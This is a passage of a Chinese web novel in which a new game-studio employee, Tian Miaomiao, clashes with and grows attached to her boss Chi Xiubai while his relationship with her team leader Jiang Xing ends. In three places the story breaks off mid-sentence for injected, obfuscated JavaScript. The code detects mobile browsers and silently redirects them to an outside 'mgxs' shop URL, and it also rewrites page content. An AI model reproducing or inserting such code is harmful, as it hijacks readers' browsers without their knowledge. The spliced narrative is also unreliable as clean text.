比孙正阳还震惊的是田妙妙,姜星和池修白不是情侣吗?为什么突然要离职呀?一般只有两种情况,要么就是他们要结婚了,姜星升级成老板娘,要么就是两人分手了,姜星不得不走。 不管哪一种,对田妙妙来说,都是始料未及的大变动。 冯舒继续将话题引到田妙妙这里:“欢迎你的到来哈,因为新游戏还在开发中,所以我们运营组目前主要负责的是老项目《逐鹿天下》,不知道你来之后是加入我们,还是去《无限异变》的运营组。” 田妙妙把刚才姜星分给她的任务如实相告。 冯舒唔了声:“看来组长是想让你跟新游的,新游现在快线下测试了,之后肯定需要新成立个运营组专门负责,目前可能只有你和组长两人。” 孙正阳:“我想申请调去《无限异变》那边,在这边已经呆够了,天天对接那群氪佬,老子都快心理失衡了,天底下这么多有钱人怎么就不能多我一个!” 田妙妙:“其实我应该还没有最后定岗,可能现在就是哪里缺人,我就去哪儿。” 孙正阳:“不管怎么说,还是去新游好,前景更光明,《逐鹿天下》毕竟是三年老游了,已经拉不了多少新,虽然流水还算稳定,但迟早会衰弱。不过还挺轻松的,平时遇不到什么bug或者投诉,氪佬一般脾气还算不错,基本不难为人。” 田妙妙心想,不管是《逐鹿天下》还是《无限异变》的运营组,都不是她想去的,她的目标是游戏开发。 不过暂时还是不要说出来招笑了。 孙正阳和冯舒两人挺热情,主动帮田妙妙搭把手,工位很快收拾出来。 田妙妙前去姜星的办公室,找她去仓库搬办公电脑。 到了办公室外,透过半透玻璃层,看见里面有两道身影。 田妙妙站在外边等着,等对方出来后,自己再进去。 约莫十分钟后,门被推开,一道挺拔利落的身影从里面出来。 居然是池修白。 经过她时,轻扫了她一眼,什么话都没说,静默走开。 田妙妙还没反应过来,人就只剩下背影,她还没来得及打声招呼。 池修白走后,田妙妙顺着门朝里面望去,看见姜星在拭泪。 啧啧,真是个大渣男,居然把美女给气哭了,果然没人能受得了他的坏脾气。 田妙妙犹豫要不要现在进去,姜星已经看见她了,瞬间恢复正常状态,除了眼眶微微泛红,看不出任何哭过的痕迹。 她朝田妙妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097002|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走过去:“跟我去仓库。” “好。”田妙妙应声,快步跟上。 都怪两人过于不熟,她连说句安慰的话都不好意思说出口,怕火上浇油,搬起石头砸自己的脚。 两人去了仓库,田妙妙本以为仓库里只剩下淘汰的二手电脑给她使用,没想到都是崭新的。 真不愧是游戏工作室,电脑什么的完全不缺,配置还很好。 姜星没有帮她搬电脑,而是把钥匙丢给她:“搬完之后,把仓库锁好,钥匙放我桌子上。” 田妙妙连连点头。 往返了三次后,田妙妙将电脑转移完毕,锁上仓库门,来不及组装电脑,先去还钥匙。 进了姜星办公室,田妙妙蹑手蹑脚地靠近办公桌,归还钥匙,颇有些做贼心虚之态。 姜星抬眼看田妙妙。眼前的女生很谨慎,看起来特别让人省心,很难挑出什么错,同样,也意味着,她比较寡淡。 “你想跟我聊聊吗?”姜星说。 田妙妙提心吊胆,不知她是什么意思,究竟要聊什么?是要警告她吗? 在田妙妙头脑风暴之际,姜星态度坦然,她笑了:“你应该能看出我和池修白关系并不清白吧?” 田妙妙点头。 “那你呢?”姜星问。 田妙妙摇头。 “不远千里,带着一封信直奔他而来,该说不说,任谁都难免多想,尤其你俩不约而同对信上内容守口如瓶。”姜星神色怅惘:“我觉得我很可悲,明明什么都没做错,可就是要眼睁睁地看着一切都不再属于我。” 田妙妙剧烈摇头,她怕了。 “我真和boss没有关系啊,您千万别误会,我……他、他完全看不上我……” “那你是怎么进来的?” “他的妈妈和我妈妈曾经是旧识。”虽然不想这么攀关系,但总比暴露池修白小时候的隐私强。 “原来你们还有这层关系。” 田妙妙以为姜星打消对她的不满和忌惮,却没想到她看起来更失落、更忧伤了。 “我马上要走了。”姜星说:“和他的关系到此为止。” 田妙妙紧紧抿着唇,不知该如何回复,为什么姜星总觉得她会和池修白在一起呢。 虽然她内心有所希冀,可这一切根本不是她能主宰的呀? 有人比你还坚信你能做到这件事。真是,说不出来的滋味。 她总不能笑着回复,谢谢你的认可和退出。 田妙妙想起孙正阳的疑问,便说:“那您离开后,谁来接手你的岗位。” “这么快连位置都相中了吗?”姜星自嘲地扯了下嘴角:“不过你想的要的话,去求池修白,或许也不无可能吧。” “不是,不是。我不是这个意思,我就是想知道接下来谁带我,绝对没有觊觎组长职位的意思!”她能顺利转正就万事大吉了。 “你这么害怕做什么?搞得我好像故意难为你一样。” 田妙妙忙道:“没有,没有,其实我挺感激你的,谢谢你当时在面试的时候替我解围,我挺喜欢你的,也绝对没有要拆散你们的意思,我真的很害怕你误解我。” “挺有礼貌的。你回去吧,放心,我不会迁怒你的,以及不用再三强调自己对池修白没有任何想法。其实有想法很正常,人总是想往上爬的,不论是光彩的还是不光彩的,凡能为我所用即可。我不会因为这种想法看低你,因为看低你就等于看低过去的自己。”姜星坦然道:“我也有一段很灰暗的时光,在面试替你说话,是觉得在帮那个时候的可怜的自己。” 这番话令田妙妙心潮澎湃,久久不能平息。 她那不能为外人道的心思,被人看透不算什么,但被人看得起则是另一番震动。 “谢谢。”田妙妙说:“我也想告诉你,你是我幻想中的完美自己。” 14. 第 14 章 说完后,田妙妙羞臊得面红脸热,夺门而出。 她一直跑到休息室阳台处,大口大口地呼吸,平复翻涌激荡的心潮。 人在口出狂言之后,很容易陷入到尴尬得想扇死自己的境地。 她为什么要对姜星说那些话,搞得跟表白似的,希望姜星不要笑话她有病。 柔风拂面,好似上等轻纱滑过肌肤,触感细腻又轻盈,仿佛能拭去所有烦恼,难怪有人喜欢吹着风无所事事地发呆。 田妙妙闭上眼睛。 还没好好感受这份美好,就被一声冷嘲打断:“你挺牛啊,上班第一天就摸鱼,真拿试用期当玩笑?” 田妙妙吓得猛打了个颤,艰难地回过头,看见池修白坐在椅子上抽烟,点燃的烟夹在指间,但没吸,像是在闻烟草的气味。好小众的爱好。 “老板好。”田妙妙打了声招呼,就想溜走。 池修白半眯着眼,眼神迷离,漫不经心地打量她,“跑什么?” “没、没有。”田妙妙停住脚步,磕磕绊绊道:“我、我得回去工作了。” “一看见我就结巴吗?你这种沟通能力,怎么能胜任工作?”池修白说:“不要让自己看起来像个小孩一样好欺负。” “也没人欺负我。”新部门的员工对她还挺友善的,就池修白看她不顺眼罢了。 “就怕你被人卖了,还帮人数钱。”池修白鄙夷地笑着。 “我又不是弱智。”田妙妙小声咕哝,她问道:“为什么要把我安排在你女朋友手下,公报私仇?” 池修白被逗乐,笑声爽朗又轻快,“你知足吧,没安排你端茶倒水扫垃圾就不错了,再说你当姜星乐意带你吗,没我发话你能有地方去?” “那你也别总惹她生气,不然我也不好过。” “我跟她怎么相处,用得着你指点?” 田妙妙大着胆子说:“那你知不知道,组长误会你喜欢我?” 说完后,她小心翼翼打量池修白的脸色,果然他上浮的嘴角耷拉下来,脸色瞬间变臭,仿佛自己的审美被侮辱了。 “名声都给你败坏完了。”池修白瞪她一眼:“你最好不要在工作室散播不利于我的谣言。” 田妙妙无语,“我完全替你保守秘密的,是组长误会了。” 池修白:“你很享受这种误会,对吧?” 田妙妙被戳中了小心思,气急败坏:“怎么可能!我有自知之明,你不要随便冤枉人,而且,而且我有男朋友。” 池修白诧异扬眉:“之前搬到我房子里的时候,还说自己没男朋友,现在又有了,薛定谔的男朋友?”怪会搪塞人的。 “我真要回去了。”田妙妙不想和他多聊什么,她挺忌讳提及男友一事。 池修白扬了扬手背,示意她能走了。 田妙妙溜之大吉。 回到工位后,田妙妙开始组装电脑,她家穷,没有买过电脑,这是她第一次亲手组装台式电脑,每一步都小心翼翼的,唯恐插错了地方。孙正阳没啥事干,见她有些搞不定,就跑来帮忙。 “谢谢哈。”田妙妙松了口气,笑起来,眼睛弯弯的,像只纯良小鹿:“你为什么穿着这种衣服啊?”她问出压在心头的疑惑。 孙正阳低头看了眼身上的动漫痛衣,摇头说:“别提了,前天聚餐玩大冒险输了,要穿一周痛衣上班,其实我没那么二的。” “原来这样啊,好看的。”田妙妙微笑着说出违心的夸奖。 “得了吧,看起来傻逼死了。” 田妙妙噗嗤一声笑出来:“没有、没有。我觉得问天工作室还挺宽松的,大家穿得五花八门的。” “管理确实挺宽松的,没有着装要求,白娘子不看重这个。” “白娘子是谁啊?” “老大呀。” “工作室老大?池修白吗?” “废话,还能是别人吗?” “你们都当面叫他白娘子?” “怎么可能,这是绰号,背后叫叫而已,不过他知道这个绰号。”孙正阳解释:“他很早以前发售游戏的时候,用的不是真名,而是SNAKE。再加上他这人比较毒舌,名字里还有个白,我们就叫他白娘子,是不是很形象?” 田妙妙忍俊不禁地点头。脑海中的池修白幻化成一条冷血无情的资本毒蛇,说话宛如吐蛇信子,简直不要太形象。 田妙妙小声求证:“你们是不是都比较讨厌他?” 孙正阳摇头:“那倒没有,白娘子更像个爱称,其实他挺良心的,唉咋回事,听起来怎么像跟资本家共情呢。” 啊,居然这样,田妙妙还以为大家都忍不了他,经常私下吐槽他,才给他取绰号呢。 “虽然他嘴巴挺毒,但其实是刀子嘴、豆腐心,性格高傲那也是有骄傲的资本,我要是他的话,我能拽到天上去。”孙正阳拍了拍田妙妙的肩膀,安慰她:“你可能就是刚来,还不了解他,被他吓着了,以后就好了,大多数时候他都是和员工打成一片的。” 这么看,池修白倒是挺得人心的,可能只是单纯瞧不上她挟恩图报的小人行径吧,但没办法,她又没什么退路,体面不能当饭吃。 组装完电脑,孙正阳好人做到底,帮她装好系统,连上工作室的网络和打印机,电脑就能正常使用了。 还没等田妙妙登上微信,大家一哄而散,田妙妙茫然看着同事离席。 冯舒从她身边经过时说:“午休了,吃饭去吧,劳逸结合,下午再干。” 田妙妙心想,她这一上午,一件正经事都没干呢,只有逸,没有劳。 但她也不好在别人都去吃饭的时候,自己留下来当奋斗逼,她不知道这种行为被称为“工贼”,只是单纯觉得这样不合群,显得太特殊。 田妙妙锁好显示屏,正欲起身,和冯舒一道吃饭。 微信上收到了新信息。 姜星把他们这群新入职员工拉到一个大群里,在里面at他们,让他们下楼集合,中午聚餐,视作迎新会。同时还发了聚餐饭店地点和包厢号。另外统计了交通工具。他们是应届生,大都没有车,只有一人上报自己开车。 除了新员工,一同聚餐的还有四个组长,以及池修白,一共五辆车。新员工十人,再加上五个领导,这几辆车完全绰绰有余。 田妙妙跟随人群,一齐下楼等待。 陈驰之是有车一族,他从车库开车上来时,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097003|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个新人一拥而上,把空座都挤占完了,没法搭载田妙妙。 而顾念瑶也早早预订了她的组长裴文山的车,田妙妙不是美术组员工,自然不好意思搭乘。 唯二认识的新人都无法同行,田妙妙只能孤单地站在原地等待。 不知道为什么今天的运气这么差,最后居然只剩下她一个人停留在原地,大家好像把她忘掉了。 估计这时候大家都到了吧。要不这个聚餐她就不去了吧,反正她也不饿。 田妙妙失落叹气,转身离开,刚走两步,身后响起一声鸣笛。 她转头,看见了那辆眼熟的法拉利。 尽管车窗没有降下,但她确信里面的人是池修白。 田妙妙犹豫了一下,还是迈步过去,万一不去被当成搞特殊就糟了。 田妙妙走到车边,记住了上次的教训,没有去后排,拉开副驾驶的门,坐上去。 池修白示意她系好安全带,还不忘嘲讽道:“你这人缘看着不行啊,要是我没看见你,你是不是就不打算去了?” 田妙妙心想我只是今天比较倒霉,但这不失为一个卖惨博同情的好机会,她吸了吸鼻子,很受伤地说:“可能是老天爷安排我等你吧,幸好你也去,不然就得坐地铁去聚餐了。” 池修白闻言侧目,见她垂头丧气,情绪低落,像被主人抛弃的宠物狗,便没有再说什么打击她的话,反倒是安慰了句:“没事,晚点到不用等上菜。职场也不是交朋友的场合。” “是的呢,你不到的话,他们也不敢动筷,跟你走才是硬道理。”田妙妙尽显狗腿子风范。 “别把我描述成封建大爹行不,我不需要别人等我到场才能开席。” “哦,怪我以小人之心度君子之腹了。” 田妙妙的顺从的话总有种犟嘴的刺耳感,可又挑不出错。池修白凉凉瞥她一眼。 田妙妙眨巴着眼,恢复了精气神,神秘兮兮地说:“你说我们一块到场的话,姜星组长会不会误会加深呀?要是其他组长也误会了,就不好了。” 池修白气笑了:“那你现在滚下车?” “不要。”田妙妙拒绝他的提议:“我也是害怕影响您的声誉嘛。” “你最好的做法,就是答应我之前的提议,我帮你安排去别的公司。” 这是还没死心要赶她走啊?田妙妙头摇得像拨浪鼓:“问天很好,我就想待在问天。而且我昨晚下单了《游戏设计艺术》一书,我以后还想往游戏策划上发展。” “啧,别白费力气,你最好保证试用期不出错,否则你都转不了正,更别提转岗了。” “感谢提醒,我会努力的。”田妙妙脸上挂着露八颗牙齿的标准笑容。 有时她自己也很奇怪,明明她是个很敏感自卑的人,面对旁人的贬低通常会心灰意冷、无地自容。 可偏偏对上池修白,总能一而再、再而三地燃起斗志,愈战愈勇,他越瞧不起她,越想打发她走,她反倒是越想证明自己,好似有花不完的勇气。 后来在她成长为能独当一面的主策后,她始终感谢池修白带给她的源动力。 因他而催生的恒心与勇气,是比心动和爱意更为珍贵的东西。 15. 第15章 到了聚餐的饭店,田妙妙放慢脚步。 池修白回头看她,神情不悦,催道:“能不能走快点?跟蜗牛爬似的。” “我们一起进去是不是不太好,要不你先进去,然后我过五分钟再进去?”田妙妙讪讪提议。 池修白蹙眉,差点一个白眼翻过去:“难不成你想让大伙都等你一个吗?” 田妙妙在脑海中勾勒出画面,顿时不寒而栗,连连摇头:“那可不行,要不我先进去,你过几分钟再进去?” 池修白微薄的耐心彻底耗尽:“我没有功夫陪你装模作样。” 说完他大步迈向包厢,田妙妙急忙忙跟上,唯恐最后一个到。 两人前后脚进去时,包厢里的同事们的视线齐刷刷看过来。 “哪位新人这么幸运,居然让老板亲自开车送过来?”一个好事的男生起哄道。 周围响起此起彼伏的哇哦声,纷纷看热闹不嫌事大。 田妙妙尴尬得要死,她四下望了眼,想找到空位入座。 看见姜星身旁有两个空位。 田妙妙心虚,不敢坐姜星身边,只能往和她相隔一个空位上走过去,还没落座,就被池修白抢了先。 “去,坐你组长旁边。”池修白提着她后衣领,将她往旁边一拎。 田妙妙内心大怒,你们小情侣闹分手不想坐一块儿,干嘛要把她这个无辜倒霉蛋卷进去? 然而,田妙妙终归只是个小虾米,除了服从安排,也没有别的选择,只得挨着姜星坐下去。 姜星朝她点了下头,挤出一个惨淡的笑意。 田妙妙忙堆着谄媚讨好的笑容回应她。 所有人到齐之后,宴席开始,饿了半晌的大家开始动筷。 热场的人是美术组老大裴文山,他天生外向幽默,是个搞气氛的好手,几乎不会让话头落在地上。 组长们乃至池修白看起来和他们这群新人也差不了几岁,天然没有什么官架子,和新人们能打成一片,饭桌上欢声笑语没有停过,唯有田妙妙专心致志地吃菜,什么话题都不参与。 坐在一对闹分手的情侣中间,她根本就放松不下来,只能一门心思吃饭,缓解局促感。 余光中的池修白几乎很少动筷,也不喝桌上的碳酸饮料或果汁,时不时续杯温水,而另一边的姜星,则是只夹了几块果切和牛肉片,之后就没怎么吃了。 田妙妙心想,这么好吃的饭菜,为什么这两人都兴致缺缺呢,太浪费了,暴殄天物啊。 在她又夹了一枚鲍鱼后,池修白忍不住低声说:“你是不是饿死鬼投胎?” 田妙妙嘴巴里嚼着东西,只能用眼神抗议。 紧接着,裴文山提议新人们做个自我介绍,互相熟悉一下,说完他看向田妙妙,示意道:“就从这位干饭王开始。” 这句玩笑话让大家爆笑出声。 田妙妙直接噎住了,她痛苦地弯腰呛咳,食物残渣甚至喷到池修白的身上,她一边剧烈咳嗽,一边心想,完了这次真死了,早知道真不来吃这个饭了。 池修白黑着脸,抽了两张餐巾纸擦掉身上的残渣。 就在田妙妙以为他要破口大骂的时候,池修白一反常态,倒了杯温水递给她。 “喝点水压压。” 田妙妙简直受宠若惊,他非但没有当着大家伙的面严厉训斥她,还好心地给她倒水。 或许她把他想得太坏了,虽然他傲慢、瞧不起她,但其实还是挺绅士的……?愿意在她狼狈之时保全她的体面。 “没看见她正吃东西,你还非点她,瞧你干的好事,回头把我衣服拿去干洗。”池修白阴沉的面色很快消散,笑骂裴文山。 裴文山插科打诨,嬉皮笑脸地道歉:“我哪知道,这位新来的妹妹这么不惊吓,我的错、我的错。” “对不起,怪我没反应过来。”田妙妙忙把错揽自己身上,只想快点把丢人的小插曲打发走。 她吸了一口气,很简短地说了自己的名字还有老家,并且家庭住址宽泛到了省份。 “学校专业啊,兴趣爱好啊,自身特长啊,怎么不多介绍介绍?”裴文山鼓励道。 田妙妙红着脸摇头:“没什么好介绍的,快点到下一个吧。” “太害羞了吧。”裴文山笑呵呵的:“我们问天很开放、很和谐的,把这次聚餐当成和朋友一起吃饭,不用紧张啊。” 田妙妙仍然羞窘,恨不得变身透明人直接消失,其实她不是因为害羞不好思意说,而是因为自卑根本不敢张开口。学校专业样样都拿不出手,家里穷根本没有上过任何兴趣辅导班,什么特长都没有,这让她怎么张开嘴啊,总不可能乱吹吧。 池修白开口:“下一个吧,人多不耽误时间了。” 裴文山点头应道:“那就顺时针来吧。” 田妙妙总算放松下来,朝池修白悄悄瞥了眼,不管他怎么想的,她都感激他开口解围,她很讨厌聚光灯打到自己身上,很多双眼睛注视她的感觉。 漫长的自我介绍环节在此起彼伏的欢声笑语和鼓掌声中结束了。 田妙妙从一开始吃东西缓解尴尬,到放下筷子走神,她对了解新同事没什么兴趣,天生就不是外向的人,大学四年的同学都有叫不上来名字的,更别提关系更远的同事了。 听他们自我介绍还不如偷瞄池修白有意思,甚至偷看他时,好几次被他发现,视线相触的一瞬间,田妙妙快速躲闪回来,心态也愈发放松。 最后的环节就是各组组长的发言,以及池修白做最后的总结语。 组长们性格各异,有不善言谈只说两三句的,也有口若悬河几分钟不带停的。 而池修白呢,他属于不乐意说些官话套话的人,简短又拽拽地开口:“欢迎各位的加入,期待你们能为问天注入新的活力,也期待你们中间能出现让我眼前一亮的人。” 众人捧场欢呼鼓掌,田妙妙跟着一起鼓掌,状态却一直游离在外,心想大家到底在燃些什么,好像池修白和他们说几句话就兴奋得不行。 当然,此时的田妙妙并不清楚,池修白对于游戏行业新人,那夸张的偶像效应。 这里多数人选择加入问天,都是奔着他来的,或多或少都被他曾经做的游戏打动过,也渴望能呈现出那样令人兴奋的作品。 聚餐结束,散席的时候,田妙妙的视线一直牢牢跟随着池修白,她是坐 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“我吃太多了,就容易拉肚子。”她尴尬地解释。她来S市的这段时间,就没吃过几顿饱饭,今天这顿直接让她脾胃受刺激。 池修白:“没见过吃的?” “聚餐不就是来吃饭的嘛,我这叫专注正事。”田妙妙为自己辩解。 “你就是没胆子融入集体,只顾吃饭。” 直白的话让田妙妙的羞耻感无处遁逃,她没说话,当没听见。 池修白继续说:“拿出你面试时的勇气啊,怂什么呢,是混进来之后,就暴露原本面目了?” 田妙妙:“勇气也不是每时每刻都有的,面对你才会有一些。” 池修白嘴角抽搐了一下:“呵,这算什么?故意吸引我的注意力?” “没有。”田妙妙摇头:“说实话,可能就是被你打击过几次,有点子习惯了,就没那么怕你了。” 池修白轻蔑一笑,没有继续说什么,迈步离开,田妙妙快步跟上。 由于两人的耽搁,理所当然成最后离开的,池修白的车只载了她一个人。 池修白开车时很安静,就连音乐都不放。 车内不知道放了什么香薰,味道柔和好闻,有舒缓神经的功效,再加上刚饱餐一顿,田妙妙大脑晕晕沉沉想睡觉。 就在她差一点眯上眼睛的时候,脸颊蓦地一痛,困意惊散,田妙妙不可置信地瞪大眼睛,望向池修白:“你掐我脸?” 池修白侧目,“谁允许你在我车上睡觉了?” “打个盹都不行吗?”田妙妙弱弱地嘟囔一句。 “不行。”池修白淡淡说。 其实为什么突然伸手捏田妙妙的脸,池修白自己也没弄明白,手比脑子先走一步,就像人类看见猫猫狗狗时忍不住上手撸一把。 被他捏的地方,微痛褪去后,泛起细密的痒意,那股绵密幽怨的痒意,好似顺着神经末梢,传递到心脏,心尖上也痒痒麻麻的,好不自在。 这种不适且微妙的感觉,田妙妙非但不讨厌,甚至还有点喜欢。 明明自己蛮讨厌他的性格,可居然完全不排斥他的触碰,莫非她是一个隐藏的颜控? 16. 第16章 姜星离开得比田妙妙预期还早。 她这两天刚把一百个人的线下测试名额通知完,姜星的办公室就人去楼空。 田妙妙还没来得及朝姜星汇报这两天的工作成果。 按理说离职不是有一个月的交接期吗?姜星为什么离开得这么迅速? 田妙妙一下子陷入没领导的境地,只能找池修白汇报。 池修白罕见地不在工作室。 他平时几乎要把工作室当家了。姜星一走,他也莫名其妙不出现了。 田妙妙心里有点酸酸的,说不上什么感觉。 没人给她布置新的工作任务,她只得戴着耳机偷偷看网上的游戏设计教学视频。看得她云里雾里,熬到下班。 田妙妙回到家,手里提着刚从超市买来的新鲜食材。 她喜欢自己做饭,一方面为了省钱,另一方面她能从中获得小小的成就感。 今天下班很早,田妙妙甚至有时间煲汤。 在煲汤的过程中,田妙妙窝在沙发里继续看入门教学视频。 没一会儿,密码锁突然发生声响,田妙妙的心脏提到嗓子眼,一秒钟从躺姿弹起身,规矩坐好。 不用猜就知道来人是谁。 门打开之后,池修白现身。俊脸泛着驼红,脚步也有些虚浮。 ……喝醉了? 看见田妙妙,池修白用力闭了下眼,茫然道:“你为什么在我家?” 田妙妙手足无措,慌忙解释:“那个、你之前允许我暂住在这里的?”怎么喝多了就不认了? 池修白方才回神,他扫视一圈,踉跄两步走到沙发边坐下来:“代驾司机送错了。” “你喝多了?”田妙妙松了一口气,明知故问。 池修白闭着眼睛没说话,这段时间他真的很累。除了《无限异变》开发不顺,姜星的突然离职,还有专门面向海外市场的,《逐鹿天下》的换皮版,正在商谈海外发行商。 田妙妙绞尽脑汁,找点事做来减轻尴尬,她很有眼力见地倒来一杯温水,递过去:“要不要喝点水?” 池修白摇摇头。 田妙妙把水杯放在他手边的茶几上。 厨房正煲着的汤发出咕噜咕噜的声响,田妙妙赶紧过去关火。 她把饭菜汤盛好,刚洗完手,一转头就看见池修白神不知鬼不觉地站在厨房门口,注视着香喷喷的饭菜。 不用他开口,田妙妙也不能怠慢“金主”,连忙给他也盛了一碗。 “要不要一起吃点?” 池修白从善如流地走进去,坐在餐桌边,慢慢用餐。 他这个人真奇葩,明明喝了不少酒,行为举止却丝毫不显粗鲁,吃饭很慢条斯理。 他似乎很满意田妙妙的做的饭菜,盛给他的米饭和汤全吃光了。 田妙妙心里升腾起满足感,连池修白这种一看就很挑剔的人,都被她的手艺折服,以后要是开个餐厅,指不定生意得多红火。 吃完饭,池修白回到客厅沙发上,一言不发地坐着。 田妙妙把碗筷收拾进洗碗机,开始擦桌子,她动作很慢很慢,希冀于池修白能主动离开。 没想到池修白愣是一点要走的意思都没有。 田妙妙也不好一直赖在厨房里,只得紧张兮兮地回到了客厅。 池修白看见她,眼皮抬了一下,又收回目光。他喝多的时候,大脑会转得很慢,通常情况下也不想随便乱动。 田妙妙试探性问:“你今晚不回去吗?” 池修白“嗯”了声。 ……好吧。这里本来就是他的房子,田妙妙再无奈,也没法赶人呀,反正她一直住在客卧,按理说应该不影响什么的。 “今天姜星组长没来。” “她走了。” “你是因为她才喝多了吗?”田妙妙好奇:“失恋了?” 池修白咳了声,“不是。工作上的事。” 他下午跟负责游戏海外发行的丁老板吃了个饭。那人江湖气息很重,特别看着酒桌义气,不喝不行。 姜星今天搬家,他没有去帮忙,只是替她叫了搬家公司。 “姜星组长她……”田妙妙欲言又止。 “怎么了?”池修白扬眉。 “你们真的分手了吗?” 池修白翻了个白眼:“跟你有关系吗?” “我不是要打探你的隐私,就是……”田妙妙吞吞吐吐的,“你们要是还在一起的话,我是不是不能再住在这里了?” 池修白有点纳闷,原本这里就是暂时借给她落脚的,怎么听她的意思是,只要他是单身状态,她就打算一直在这住下去。 按理说,他应该把她撵走的。 可看见她躲闪的目光,期盼又担忧的神情,让他无端生出一点同情心来。 她在这里住了两天,客厅里一丝一毫都没有乱,做饭的手艺也在他的预料之外。如果长住的话,倒也不是完全不能接受。 “我跟她已经分了。”池修白缓缓地说:“她这周六订婚。” 田妙妙一怔。 她只知道池修白和姜星正在闹分手,没曾想姜星居然这么快就订婚了。姜星看起来好像对池修白余情未了,怎么会突然订婚呢? “为什么啊?”田妙妙轻声呢喃。 池修白冷笑:“我哪知道为什么,可能女人到了某个人生阶段,就会想结婚吧?” “我不会。”田妙妙摇头,很坚定地说:“结婚没什么好的。”她妈妈就是现成的悲剧。 她一定不会重蹈覆辙。 池修白眼睛一亮,有些诧异,他以为田妙妙这种农村女孩,思想应该更封建,更憧憬传统的婚恋才是。 池修白淡淡地“嗯”了声,没有发表意见。 “是不是因为你不想结婚,姜星组长就赌气和别人结婚了?”田妙妙叹息。 “赌气?”池修白说:“她是一个成年人,什么事情该做,什么事情不该做,她心里有数。” “你怎么这么冷漠。”田妙妙嘀咕:“如果她真的是因为你,草草结婚,你心里不会愧疚吗?” “把自身的未来押注在另一个人身上,本身就是一场豪赌,后果自负。” “她真可怜。” “你也觉得我耽误她了?”池修白凉凉地看过去。 他的眼眸因醉意,轻微泛红,平添一种惊心动魄之感。 田妙妙心漏了一拍。 她可不敢指责池修白,万一惹他不开心,自己就要露宿街头了。 只能违心地说:“都是两情相愿的事,哪有什么耽误不耽误的。” 池修白笑了下,感慨:“或许我就是个渣男吧。” ……虚心反省但坚决不改是吗?田妙妙在心里吐槽。 池修白没有深入和田妙妙交流什么,起身去了主卧。 主卧里有卫生间,池修白进去冲澡。 田妙妙不便继续待在客厅这种公共空间,也回了房间。 听着淅淅沥沥的水声,田妙妙躺在床上辗转反侧。 一想到池修白就在隔壁洗澡,她浑身不对劲,心跳也比平常更快。 不管怎么说,自己也不过是一个没什么恋爱经历的女孩子,年轻英俊的异性在同套房子里洗澡,还是很让人想入非非的。 她在心中唾骂自己。 明明知道对方是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097005|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不负责任的大渣男,还刚刚恢复单身,自己就在这里胡思乱想,简直有病。 水声停了。 田妙妙的心跳也慢慢降下来。 她有些口渴,走出房间去倒水。刚一推开门,赫然发现池修白也在客厅,只穿着一件黑色浴袍。 领口松垮垮的,露出一大片胸肌。 他肤色白,与黑浴袍的撞色,对比十分鲜明,乃至于有一丝艳丽感。 田妙妙转身要走。 池修白垂眸看了眼,差点以为自己没穿衣服。 至于吗?看见他就跑…… 田妙妙回到次卧,靠在门上,平复心跳。 不得不说,刚才的景色,非常的赏心悦目,他的头发还湿漉漉的,发梢滴着水,身形高高瘦瘦,肩膀宽且平直,基础款的浴袍穿在他身上,都显得格外有范。 只得感慨,渣男,也是需要本钱的。 等客厅里没了动静,田妙妙才敢出去。 她接了杯水,转身时,发觉阳台上有一道身影,鬼魅似的。 定睛一瞧,是池修白,正在打电话。 皱着眉,脸上有点不耐烦的样子。莫名有点绝情,也有点性感。 田妙妙猜测电话那头是姜星,她没有偷听,接完水就回到房间。 喝完水,躺在床上,久久没能入眠。 她忽然觉得,自己对池修白,心思越来越不单纯。 贫穷带来的自卑感一直贯彻她整个青春期,别人幻想早恋,她只奢求别被人笑话。 大学时也有男生追过她,可她舍不得恋爱开销,也忙着到处兼职,只能拒绝。 本以为谈情说爱这种事会离她很远很远,可现在这份心思却蠢蠢欲动…… 她赶紧摇摇头。 错觉,这一定是错觉! 只是池修白这人皮相太好,一时半会迷惑了她,她只是单纯好色,不是动心!没办法,她上学的时候哪接触过这么帅的啊…… 田妙妙就这么胡思乱想地睡了过去。 第二天,田妙妙醒来后,池修白已经开始吃早餐了,早餐是网上订的。 两人面对面用餐,气氛诡异。 田妙妙忽然想到了“同居”两个字,胳膊上立刻冒出鸡皮疙瘩,一口牛奶喷了出来。 池修白放下筷子,瞪了她一眼:“一大早发什么癫?” 田妙妙心虚不已:“对不起,刚才走神了。” “跟我吃饭还能走神?”池修白话里话外不可置信。 田妙妙:“……” 太自信了吧? “吃完赶紧收拾了。”池修白抽了一张纸巾擦手,他修长的手指上挂着她喷出的奶渍。 田妙妙羞得脸红:“知道了。”做家务什么的,就当付房租了。 等田妙妙收拾完,惊喜地发现,池修白居然还在。 “你在等我一起吗?” “不然呢?”池修白抱着手臂,上下打量她一眼:“防止某人三天两头迟到。” 